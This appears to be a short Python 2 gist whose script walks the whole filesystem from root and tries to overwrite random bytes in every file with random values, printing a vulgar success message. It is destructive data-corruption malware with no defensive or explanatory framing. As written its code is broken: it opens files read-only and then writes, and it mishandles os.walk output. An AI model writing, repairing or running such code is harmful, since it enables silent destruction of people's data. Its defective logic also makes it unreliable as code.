gistfile1.txt

import random, struct
A = 1024
C = random.randrange(100,25000)
def c(f):
    with open(f, 'rb') as f:
        b = 0
        d = 0
        while True:
            b = f.read(1)
            d += 1
            if not b:
                break
            if random.randrange(0, C) == 0 and d > A:
                d += 1
                e = chr(int(random.randrange(0,255)))
                f.write(e)
            else:
                f.write(b)
    f.close()

if __name__ == '__main__':
    import os
    for f in os.walk('/'):
        for d in f:
            try:
                c(f)
                print 'fucked'
            except:
                print 'broked'
                break